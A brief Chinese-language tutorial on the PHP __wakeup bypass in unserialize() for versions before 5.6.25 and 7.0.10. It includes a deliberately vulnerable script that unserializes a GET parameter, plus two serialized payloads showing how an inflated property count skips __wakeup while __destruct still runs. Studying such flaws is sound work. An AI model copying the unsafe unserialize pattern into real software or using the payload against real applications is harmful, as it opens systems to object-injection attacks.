漏洞影响版本:

PHP5 < 5.6.25
PHP7 < 7.0.10

漏洞原理:

__wakeup触发于unserilize()调用之前,当反序列化时的字符串所对应的对象的数目被修改,__wake的函数就不会被调用.并且不会重建为对象,但是会触发其他的魔术方法比如__destruct

漏洞复现:

看一段代码

<?php 
    class Test{
        public $a="hello";
        public function __wakeup()
        {
            echo "wakeup</br>";
        }
        public function __destruct()
        {
            echo "</br>destruct";
        }
    }
    $ser = $_GET['id'];
    @$obj = unserialize($ser);
    echo $obj->a;
?>

首先传入参数

?id=O:4:"Test":1:{s:1:"a";s:4:"flag";}

得到结果
3.jpg
这里调用了__wakeup方法和__destruct方法.并且输出属性$a的值.
而改变对象对应的数量:

?id=O:4:"Test":2:{s:1:"a";s:4:"flag";}

得到结果
4.jpg
可以看出只调用了__destruct方法,并且在输出属性$a的地方的时候报错,说明反序列化重建对象失败.

参考:

http://blog.csdn.net/qq_19876131/article/details/52890854